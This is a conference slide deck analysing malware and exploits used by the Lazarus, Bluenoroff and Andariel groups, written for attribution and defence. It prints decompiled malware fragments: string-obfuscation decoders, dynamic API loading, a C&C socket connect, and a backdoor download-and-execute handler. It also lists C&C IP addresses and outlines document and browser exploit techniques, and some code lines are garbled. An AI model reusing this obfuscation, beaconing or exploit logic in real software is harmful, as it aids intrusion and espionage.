A Deep Dive into the Digital Weapons of Mysterious Country’s Cyber Army

Ashley_Shen@SECTOR
(Moombeom_Park@South_Korea)
# Independent Researcher

> Co-founder of Hacks in Taiwan for Girls
> Worked at TeamT5 Inc. Taiwan
> Focus on APT attacks, malwares and cyber espionage attacks
> Presenter at Hack in the Box GSEC (HITB), Hacks in Taiwan Conference (HITCON), Code Blue, Troopers, VXCON
AGENDA

# Some background
# Related Work
# The Legos, Malwares and Attack Cases
# The Exploit and Attack Cases
# Takeaways
# Q&A
Why this talk?
A Tip of the Iceberg

- These attacks were conducted by nation-state actors
- Doing cyber attacks is their “Job”
- Reconnaissance General bureau (RGB) (revealed in 2009)
- Doing not only reconnaissance, but also cybercrime attacks
## The Attacker Groups

<table>
<thead>
<tr>
<th>Lazarus</th>
<th>Bluenoroff</th>
<th>Andariel</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Targeted Industry</strong></td>
<td>Domestic government, finance, broadcasting</td>
<td>Global and domestic financial institutes</td>
</tr>
<tr>
<td><strong>Purpose</strong></td>
<td>Social chaos</td>
<td>Financial profit motivation</td>
</tr>
<tr>
<td><strong>Historical major incidents</strong></td>
<td>- 2009 7.7 DDoS attack on US and South Korea</td>
<td>- 2015-2016 SWIFT banking attack</td>
</tr>
<tr>
<td></td>
<td>- 2011 DDoS attack in South Korea</td>
<td>- 2017 Polish financial supervisory authority</td>
</tr>
<tr>
<td></td>
<td>- 2013 320 DarkSeoul</td>
<td>- 2017 South Korea Bitcoin companies</td>
</tr>
<tr>
<td></td>
<td>- 2014 Sony Picture Entertainment breach</td>
<td>- 2017 Taiwan Far Eastern Bank attack</td>
</tr>
<tr>
<td><strong>Related Reports</strong></td>
<td>2016 Operation Blockbuster - Novetta</td>
<td>2017 Lazarus under the hood - Kaspersky</td>
</tr>
</tbody>
</table>
Terrible fact

# Difference in APT Kill Chain

Reconnaissance  
Weaponized  
Deliver
# AGENDA

- Some Background
- Related Work
- The Legos, Malwares and Attack Cases
- The Exploit and Attack Cases
- Takeaways
- Q&A
Related Work

# 2013

> Operation Troy – cyber espionage and DDOS attacks (MaAfee)

# 2016

> Operation Blockbuster - Lazerus group (Novetta)
> From Seoul to Sony (BlueCoat)

# 2017

> Lazarus under the hood - Bluenoroff group (Kaspersky)
> Campaign Rifle : Andariel, the Maiden of Anguish (Korea FSI)
AGENDA

# Some Background
# Related Work
# The Legos, Malwares and Attack Cases
# The Exploit and Attack Cases
# Takeaways
# Q&A
Delivery Method

# Software vulnerabilities
  > Developing 0 day of specific software

# Watering hole attack
  > Deploying exploit on compromised website to spread payload

# Spear-phishing email
  > Attaching malicious document in the spear-phishing email to infect targets
Adopting Social Engineering in the attacks

Case: 2016 Compromised Online Shopping website in South Korea

Target’s Cloud Drive

Attacker

Employee’s Cloud Drive Credential

Phishing attack

Spear-phishing email with malware-laden family’s photo screen saver program

Employee of Shopping Site

Family Pictures

Our Family

Trojan Alphanc!
## Trojan Alphanc

- Incorporating OpenSSL library into the file, causing large file size (about 900M)
- Supporting the following commands:

<table>
<thead>
<tr>
<th>Command Code</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>C2F24BB19A401D</td>
<td>Gather victim’s information and transmit to C&amp;C</td>
</tr>
<tr>
<td>E8AFAB73D2BE55</td>
<td>Load specific DLL and call function for export</td>
</tr>
<tr>
<td>C7D3D97AE85AC1</td>
<td>Delete itself to ielowutil.exe</td>
</tr>
<tr>
<td>03AAEFA36E0646</td>
<td>Gather specific files in My Documents and transmit to C&amp;C</td>
</tr>
<tr>
<td>E2CE1DAA84A3B1</td>
<td>Detect to virtual mode(Environment)</td>
</tr>
<tr>
<td>2486C09D576ADA</td>
<td>Gather active process information and transmit to C&amp;C</td>
</tr>
<tr>
<td>4462929641CD6F</td>
<td>Gather Windows OS information and transmit to C&amp;C</td>
</tr>
<tr>
<td>653E648F2B3003</td>
<td>Download data of iehmmap.dll from other server</td>
</tr>
<tr>
<td>861A3688159498</td>
<td>Create iehmmap.dll and load it, call function for export</td>
</tr>
<tr>
<td>A6F60781FEF72C</td>
<td>End</td>
</tr>
</tbody>
</table>
Trojan Alphant

# Three C&C servers in configuration

C&C Server IP
192.185.124.125 (Port 443)
22.132.191.110 (Port 443)
202.137.244.198 (Port 443)

Country
Honduras
Taiwan
New Zealand

# 2017 Linked to WannaCry Ransomware by Symantec

Sample C&C server
Download

2014 SPE Breach
2016 Online Shopping Site Breach
Trojan Alphant
2017 WannaCry Ransomware

C&C server
Discovered in Sony Picture Entertainment Case
The Malwares

# Using both customized version of public available malware and self-developed malware.

# Reuse shared code (lego) code heavily.

- Shared code are reused among different groups
- One of the keys to recognize attacks from the groups
  - The group mainly deploy C&C infrastructure on compromised server, thus very difficult to correlate with C&C infrastructure
- We called these shared code “legos”!
# Lego1: Multi_Keys_xor Function

```
LOBYTE(_CL) = 0x82u;
v13 = v9;
v6 = 5;
_EDX = 0x556F9482;
_EAX = 0xAFC12058;
if ( dwSize > 0 )
{
  v8 = (a1 - out);
  v12 = dwSize;
  do
  {
    *out = v6 ^ _EAX ^ (_CL ^ *(out + v8));
    v6 = v6 & _EAX ^ _CL & (v6 ^ _EAX);
    _CL = (((_EDX ^ (8 * _EDX)) & 0x7F8) << 20) | (_EDX >> 8);
    _EAX = (((_EAX << 7) ^ (_EAX ^ 0x10 * (_EAX ^ 2 * _EAX)) & 0xFFFFFFFF80) << 17) | (_EAX >> 8);
    out = out + 1;
    v9 = v12--; == 1;
    _EDX = (((_EDX ^ (8 * _EDX)) & 0x7F8) << 20) | (_EDX >> 8);
  }
  while ( !v9 );
  out = v13;
  v2 = dwSize;
}
memcpy(a1, out, v2);
return VirtualFree(out, 0, 0x8000u);
```
Multi_Keys_xor Decode Function

# Frequently used for decode strings and APIs
# Sometimes applied with base64 or other legos!
## The Malwares and Attack Cases

### Lego2: FE_XOR Function

```c
v7 = result;
if ( a3 )
{
    do
    {
        *(__BYTE *)v6 + a4) ^= v4 ^ (unsigned __int8)result;
        v8 = v5 >> 8;
        v4 = BYTE3(result) ^ BYTE1(result) & ((unsigned int)result >> 16) ^ v5 & BYTE1(v5) & (v5 >> 16) ^ v10 & result;
        result = ((unsigned int)result >> 8) | (v9 << 24);
        v5 = (v5 >> 8) | (((v7 ^ (unsigned __int16)(2 * v7)) & 0x1FE) << 22);
        ++v6;
        v10 = v4;
        v9 = v8 | (((v7 ^ (unsigned __int16)(2 * v7)) & 0x1FE) << 22);
        v7 = result;
    }
    while ( v6 < a3 );
}
return result;
```
Encode every strings and loads dynamically

```c
u0 = Base64_Decode(16, "JINc13yUQ/B9235m", &dwSize);
XOR_Transform(u0, dwSize);
Kernal32.dll - LoadLibrary(u0);
free(u0);
if ( Kernal32.dll )
{
    dwSize = 0;
    u2 = Base64_Decode(20, "mNHa6D2ArYnz1t1zQ4h", &dwSize);
    XOR_Transform(u2, dwSize);
    *GetStartupInfoA = GetProcAddress(Kernal32.dll, u2);
    free(u2);
    dwSize = 0;
}
v3 = Base64_Decode(16, "19HPywKFa0n2g--", &dwSize);
XOR_Transform(v3, dwSize);
dword_416D34 = GetProcAddress(Kernal32.dll, v3);
free(v3);
dwSize = 0;
    u4 = Base64_Decode(16, "nszHzxmKN6E2zG6e", &dwSize);
    XOR_Transform(u4, dwSize);
    *ExitProcessA = GetProcAddress(Kernal32.dll, u4);
    free(u4);
    dwSize = 0;
    u5 = Base64_Decode(20, "mNHa6zuX6c2Fpyho--", &dwSize);
    XOR_Transform(u5, dwSize);
    *GetProcessHeapA = GetProcAddress(Kernal32.dll, u5);
    free(u5);
    dwSize = 0;
    u6 = Base64_Decode(16, "19HPyw2dAzYh0s-", &dwSize);
    XOR_Transform(u6, dwSize);
    dword_416D2C = GetProcAddress(Kernal32.dll, u6);
    free(u6);
    dwSize = 0;
    u7 = Base64_Decode(12, "19HPywUHKh0", &dwSize);
    XOR_Transform(u7, dwSize);
    dword_416D20 = GetProcAddress(Kernal32.dll, u7);
    free(u7);
    dwSize = 0;
```

```c
if ( WSAStartup(257, &w) )
```

```c
0 = 0;
```

```c
v0 = Base64_Decode(8, "54$wiv==", &dwSize); // 8080
```

```c
XOR_Transform(v0, dwSize),
v1 = atoi(v0),
free(v0);
```

```c
LABEL_5:
result = 0;
else
while ( 1 )

    u2 = Base64_Decode(16, "64GAJHvWQ+xhYo--", &dwSize); // 45.72.3.188
    XOR_Transform(u2, dwSize);
    LWORD(v8) = 2;
    HIWORD(v8) = htonl(v1);
    v9 = inet_addr(v2);
    v3 = socket(2, 1, 6);
    u4 = connect(v3, &v8, 16);
    free(v2);
    if ( v4 == -1 )
        break;
        +dword_416D38;
```
The Malwares and Attack Cases

# Lego3: TABLE_LOOKUP_Decode Function

```c
encode_string_length = str_length;
encode_string = Encoded_String;
selector = 0;
v6 = 0;
result = malloc(str_length + 1);
if ( result )
{
    for ( target_str = *(BYTE *)encode_string; *(BYTE *)encode_string; target_str = *(BYTE *)encode_string )
    {
        v9 = encode_string_length;
        encode_string = (signed int *)(char *)encode_string + 1;
        --encode_string_length;
        if ( v9 <= 0 || target_str == '=' )
            break;
        if ( target_str == ' ' )
            target_str = '*';
matched_value = Table[target_str];
    }
}
```
The Malwares and Attack Cases

# Lego3: TABLE_LOOKUP_Decode Function

Table
```
Table = [0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
        0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
        0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
        0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
        0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
        0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
        0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x3E,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x3F,0x00,
        0x34,0x00,0x35,0x00,0x36,0x00,0x37,0x00,0x38,0x00,0x39,0x00,0x3A,0x00,0x3B,0x00,
        0x3C,0x00,0x3D,0x00,0x3E,0x00,0x3F,0x00,0x40,0x00,0x41,0x00,0x42,0x00,0x43,0x00,
        0x44,0x00,0x45,0x00,0x46,0x00,0x47,0x00,0x48,0x00,0x49,0x00,0x4A,0x00,0x4B,0x00,
        0x4C,0x00,0x4D,0x00,0x4E,0x00,0x4F,0x00,0x50,0x00,0x51,0x00,0x52,0x00,0x53,0x00,
        0x54,0x00,0x55,0x00,0x56,0x00,0x57,0x00,0x58,0x00,0x59,0x00,0x5A,0x00,0x5B,0x00,
        0x5C,0x00,0x5D,0x00,0x5E,0x00,0x5F,0x00,0x60,0x00,0x61,0x00,0x62,0x00,0x63,0x00,
        0x64,0x00,0x65,0x00,0x66,0x00,0x67,0x00,0x68,0x00,0x69,0x00,0x6A,0x00,0x6B,0x00,
        0x6C,0x00,0x6D,0x00,0x6E,0x00,0x6F,0x00,0x70,0x00,0x71,0x00,0x72,0x00,0x73,00,
        0x74,0x00,0x75,0x00,0x76,0x00,0x77,0x00,0x78,0x00,0x79,0x00,0x7A,0x00,0x7B,0x00,
        0x7C,0x00,0x7D,0x00,0x7E,0x00,0x7F,0x00,0x00,0xFF,0x00,0x01,0xFF,0x02,0xFF,0x03,
        0xFF,0x04,0xFF,0x05,0xFF,0x06,0xFF,0x07,0xFF,0x08,0xFF,0x09,0xFF,0x0A,0xFF,0x0B,
        0xFF,0x0C,0xFF,0x0D,0xFF,0x0E,0xFF,0x0F,0xFF,0x10,0xFF,0x11,0xFF,0x12,0xFF,0x13,
        0xFF,0x14,0xFF,0x15,0xFF,0x16,0xFF,0x17,0xFF,0x18,0xFF,0x19,0xFF,0x1A,0xFF,0x1B,
        0xFF,0x1C,0xFF,0x1D,0xFF,0x1E,0xFF,0x1F,0xFF,0x20,0xFF,0x21,0xFF,0x22,0xFF,0x23,
        0xFF,0x24,0xFF,0x25,0xFF,0x26,0xFF,0x27,0xFF,0x28,0xFF,0x29,0xFF,0x2A,0xFF,0x2B,
        0xFF,0x2C,0xFF,0x2D,0xFF,0x2E,0xFF,0x2F,0xFF,0x30,0xFF,0x31,0xFF,0x32,0xFF,0x33,
        0xFF,0x34,0xFF,0x35,0xFF,0x36,0xFF,0x37,0xFF,0x38,0xFF,0x39,0xFF,0x3A,0xFF,0x3B,
        0xFF,0x3C,0xFF,0x3D,0xFF,0x3E,0xFF,0x3F,0xFF,0x00,0xFF,0x01,0xFF,0x02,0xFF,0x03,
        0xFF,0x04,0xFF,0x05,0xFF,0x06,0xFF,0x07,0xFF,0x08,0xFF,0x09,0xFF,0x0A,0xFF,0x0B,
        0xFF,0x0C,0xFF,0x0D,0xFF,0x0E,0xFF,0x0F,0xFF,0x10,0xFF,0x11,0xFF,0x12,0xFF,0x13,
        0xFF,0x14,0xFF,0x15,0xFF,0x16,0xFF,0x17,0xFF,0x18,0xFF,0x19,0xFF,0x1A,0xFF,0x1B,
        0xFF,0x1C,0xFF,0x1D,0xFF,0x1E,0xFF,0x1F,0xFF,0x20,0xFF,0x21,0xFF,0x22,0xFF,0x23,
        0xFF,0x24,0xFF,0x25,0xFF,0x26,0xFF,0x27,0xFF,0x28,0xFF,0x29,0xFF,0x2A,0xFF,0x2B,
        0xFF,0x2C,0xFF,0x2D,0xFF,0x2E,0xFF,0x2F,0xFF,0x30,0xFF,0x31,0xFF,0x32,0xFF,0x33,
        0xFF,0x34,0xFF,0x35,0xFF,0x36,0xFF,0x37,0xFF,0x38,0xFF,0x39,0xFF,0x3A,0xFF,0x3B,
        0xFF,0x3C,0xFF,0x3D,0xFF,0x3E,0xFF,0x3F]
```
The Malwares and Attack Cases

Lego3: TABLE_LOOKUP_DECODE Function

```c
matched_value = Table[target_str];
if ( matched_value >= 0 )
{
    switch ( selector % 4 )
    {
    case 0:
        *((_BYTE *)result + u6) = 4 * matched_value;
        break;
    case 1:
        *((_BYTE *)result + u6++) |= matched_value >> 4;
        *((_BYTE *)result + u6) = 16 * matched_value;
        break;
    case 2:
        *((_BYTE *)result + u6++) |= matched_value >> 2;
        *((_BYTE *)result + u6) = (_BYTE)matched_value << 6;
        break;
    case 3:
        *((_BYTE *)result + u6++) |= matched_value;
        break;
    default:
        break;
    }
    ++selector;
}
```

Input String: "mszHzxmKH6E2zGE="
Output String: ExitProcess

Input String: "mNHa6zuXE6cgzFpuyho="
Output String: GetProcessHeap
The Malwares and Attack Cases

# Lego4: S_Hat_DECODE Function

```c
sprintf(&v9, "%s", "K\A");
memset(byte_4440D0, 0, 0xBB7u);
if ( *(BYTE *)&v1 != 'S' || *(BYTE *)&v1 + 1 != '^' )
{
    v4 = *(WORD *)&v1;
    if ( *(WORD *)&v1 > 0xBB7u )
        v4 = 2999;
    if ( (unsigned __int16)v4 > 0u )
    {
        v5 = (int)((char *)&v1 + 2);
        v6 = (unsigned __int16)v4;
        v7 = BYTE1(v10);
        v8 = (int)byte_4440D8;
        do
        {
            *(BYTE *)&v8++ = v7 ^ *(BYTE *)&v5++;
            --v6;
        }
        while ( v6 );
    }
    result = (int)byte_4440D0;
}
```
# OK... so how do we going to do with these legos?
Stories of Three incidents

- GHOSTRAT (Mar 2016)
- DESERTWOLF (Aug 2017)
- VANATM (Mar 2017)

Operation named by FSI Rifle Campaign Report
Please DO NOT TAKE PHOTO After this slide
Thank you for your cooperation
[REMOVED]
## The Malwares

- Gh0st Variant
- Rifdoor (on C&C)
- Hacking Tool for DRM A
- Hacking Tool for DRM B
- Gh0st Origi Variant

```assembly
mov [ebp+var_1C9], '0'
mov [ebp+var_1BF], 'r'
mov [ebp+var_1BE], 'i'
mov [ebp+var_1BD], 'g'
mov [ebp+var_1BC], 'i'
```
RifDoor (aka Rifle)

# Coined Rifle because of the pdb string

E:\Data\My Projects\Troy Source Code\tcp1st\rifle\Release\rifle.pdb

# A simple backdoor

# Encode string with xor 0F

# Support commands

> $downloadexec (download sec.exe)
> $internal (sleep)
> $download (download file)
> $exec (execute command)
if (!strcasecmp(*(LPCSTR *)&comand, "\x21\x9c\n\kj\w1\")) // $downloadexec
{
    if ( Downloadexec(*(LPCSTR *)&comand + 4), *(LPCSTR *)&comand + 8) ) // Download sec.exe
    {
        strcpyA(&String, "K\x9c\n/k\j\j\j\j\"); // Download Success
        v21 = Xor_F((int)&String);
        strcatA((LPSTR)v21, "\r\n\");
        if ( sub_401F10() )
        {
            strcpyA(&String1, "Jwjlz\f\a/\j\j\j\j\"); // Execution Success
            v23 = Xor_F((int)&String1);
            strcpyA(&String, (LPCSTR)v23);
        }
        else
        {
            strcpyA(&String1, "Jwjlz\f\a/\f\cz\j\j\"); // Execution Failure
            v22 = Xor_F((int)&String1);
            strcatA(&String, (LPSTR)v22);
        }
        strcatA(&String, "\r\n\");
        v32 = (int)&String;
        v20 = strlenA(&String);
    }
}
South Korean Ministry of National Defense (Cyber Command) announced that North Korean infiltrated a military network.

> 3200 hosts were compromised, 700 military intranet.

> 39 samples collected, 20 confirmed linked to Andariel group.

> Cyber command announced that found Shenyang IP address.
The Malwares

# Type A Backdoor
# Type B (Phandoor)
# Type C Backdoor
# Keylogger A
Phandoor

Loading API dynamically with Lego4

```
130  v122 = 0;
131  v121 = 0;
132  v120 = 0;
133  v0 = sub_401D40("^Kernel32.dll");
134  v1 = LoadLibraryA((LPCSTR)v0);
135  if ( v1 )
136    {
137      v2 = sub_401D40("^HeapCreate");
138      dword_413E90 = (int)GetProcAddress(v1, (LPCSTR)v2);
139      v3 = sub_401D40("^GetProcessHeap");
140      dword_413E34 = (int)GetProcAddress(v1, (LPCSTR)v3);
141      v4 = sub_401D40("^HeapDestroy");
142      dword_413E84 = (int)GetProcAddress(v1, (LPCSTR)v4);
143      v5 = sub_401D40("^HeapAlloc");
144      dword_413F34 = (int)GetProcAddress(v1, (LPCSTR)v5);
145      v6 = sub_401D40("^HeapReAlloc");
146      dword_413F4C = (int)GetProcAddress(v1, (LPCSTR)v6);
147      v7 = sub_401D40("^HeapFree");
148      dword_413E8A = (int)GetProcAddress(v1, (LPCSTR)v7);
149      v8 = sub_401D40("^GetModuleFileNameA");
150      dword_413F24 = (int)GetProcAddress(v1, (LPCSTR)v8);
```
Upon execution, getting victim IP address with GetAdaptorInfo and encode it.

Sending encode IP address & MAC address with a special string “Anonymous” to test C&C server connection.
Phandoor

- Attacker tailored this trojan for different cases. The supported functions vary across different incidents.

<table>
<thead>
<tr>
<th>Backdoor Command</th>
<th>Functions</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>Execute Windows command</td>
</tr>
<tr>
<td>9</td>
<td>Get disk information or search file</td>
</tr>
<tr>
<td>10</td>
<td>Find file and send</td>
</tr>
<tr>
<td>11</td>
<td>Receive data and save it to a file</td>
</tr>
<tr>
<td>15</td>
<td>Terminate</td>
</tr>
<tr>
<td>16</td>
<td>Close connection and reconnect</td>
</tr>
<tr>
<td>18</td>
<td>Copy and move nehomegpa.dll to another path</td>
</tr>
<tr>
<td>26</td>
<td>Search process</td>
</tr>
<tr>
<td>49</td>
<td>Search file</td>
</tr>
</tbody>
</table>
Attacker attacks an ATM service provider in South Korea.
Compromised internal network with Antivirus vaccine update server (VMS).
Lateral movement was taken to compromised ATM management server connected with the VMS server.
More than 600 ATM machines were infected with RAT and keylogger
Malware connects to same C2 discovered in DesertWolf case.
Operation started from 2015
The Malwares

# Rifdoor
# Gh0st
# Hacking Tool (Sniffer)
# Keylogger A
# Trojan D
Links different campaign with Legos

GHOSTRAT

DESSERTWOLF

VANATM

Same C&C server

Same Keylogger
The Malwares and Attack Cases

# Other TTP on binaries

> PACKERS!
PACKERS!
PACKERS!

> Love VMP (Feel the pain!!)

> Aspacker, upx, Armadillo v1.71, Themida
The Malwares and Attack Cases

# Other TTP on binaries

- Encode every strings and loads dynamically
- Sometimes encode twice!
Webshell (Proprietary tool)

[REMOVED]
Webshell (Proprietary tool)
Webshell (Proprietary tool)

[REMOVED]
Webshell (Proprietary tool)
AGENDA

# Why this talk?

# Related Work

# The Legos, Malwares and Attack Cases

# The Exploit and Attack Cases

# Takeaways

# Q&A
Exploits of malicious documents

CVE 2013-0808

EPS Viewer buffer overflow vulnerability

Trigger by Ghostscript in HWP (Hangul word)
Exploits of malicious documents

# Dropping EPS file with NOP sled and shellcode
# Downloading payload from C&C server

Dropping EPS file with NOP sled and shellcode

- NOP Sled For Heap Spray
- Shellcode
- Ghostscript commands
Exploits of malicious documents

# CVE 2017-0621

- EPS restore Use-After-Free
- Applied frequently in recent attacks targeting financial industry in South Korea by Bluenoroff.
  - Targeting a lot of Bitcoin companies recently.
- No alert and error would be trigger during exploitation.
- Triggering in HWP files.
A Recent Sample

Targeted Financial Institutes
A Recent Sample

Ghost Script

Shellcode

Ghost Script

Embedded PE 32 bits

Embedded PE 64 bits
A Recent Sample

- Trojan Manuscryt encoded with XOR.
- Manuscrypt packed with VMP.
- Decoded by shellcode and inject into “explorer.exe” process directly (fileless)
**Word DOC with malicious Macro**


Download trojan AsdfDoor (7caa500b60a536d7501e7a6c02408538)

Korean in the Macro script
Exploit for Watering hole attack

# CVE 2016-0189

> Vulnerability works on Internet Explorer 9-11

> Remote execute Javascript

> Compromised website to targeted North Korea defectors
>> Key-finding

# The groups are applying their cyber espionage capability in cybercrime attacks.
# Very targeted. Attacker tailored their weapons based on open source information gathering and reconnaissance information.
# The attackers are capable of discovering 0 day vulnerability and develop their own exploit and control tools.
# Compromise website and leverage as C&C infrastructure. Dispose when expose.
# Interesting PDB Strings
> E:\BIG_POOH\Project\milk\Release\milk.pdb
> D:\HighSchool\version 13\First-Dragon(VS2015)\Sample\Release\DogCall.pdb
> F:\Work\card\Van_XATM\Release\Van_XATM.pdb
> C:\Users\jyjeon\Desktop\SVN\Inspector\trunk\WinInspector8\Inspector8.0\Release\Ins8A.pdb

Korean Name. Actor’s name?
AGENDA

# Why this talk?
# Related Work
# The Malwares and Attack Cases
# The Exploit and Attack Cases
# Takeaways
# Q&A
>> Takeaways

> Lazarus, Bluenoroff and Andariel groups are state-sponsor APT groups who are behind several notorious cyber attacks.

> These groups frequently reuse function codes in their attacks.

> We introduce some “legos” codes, known exploits, webshell and their TTP for identify attacks from these groups.

> The legos indicates a share code database or dedicated group responsible for tools development.

> More attacks from Lazarus, Bluenoroff and Andariel are exceptive, be prepared and update to the latest intelligence.
Questions?

ashley_shen_920

krNeoTra
Some Reference

# Reports

> Financial Security Institute - Campaign Rifle : Andariel, the Maiden of Anguish
> https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html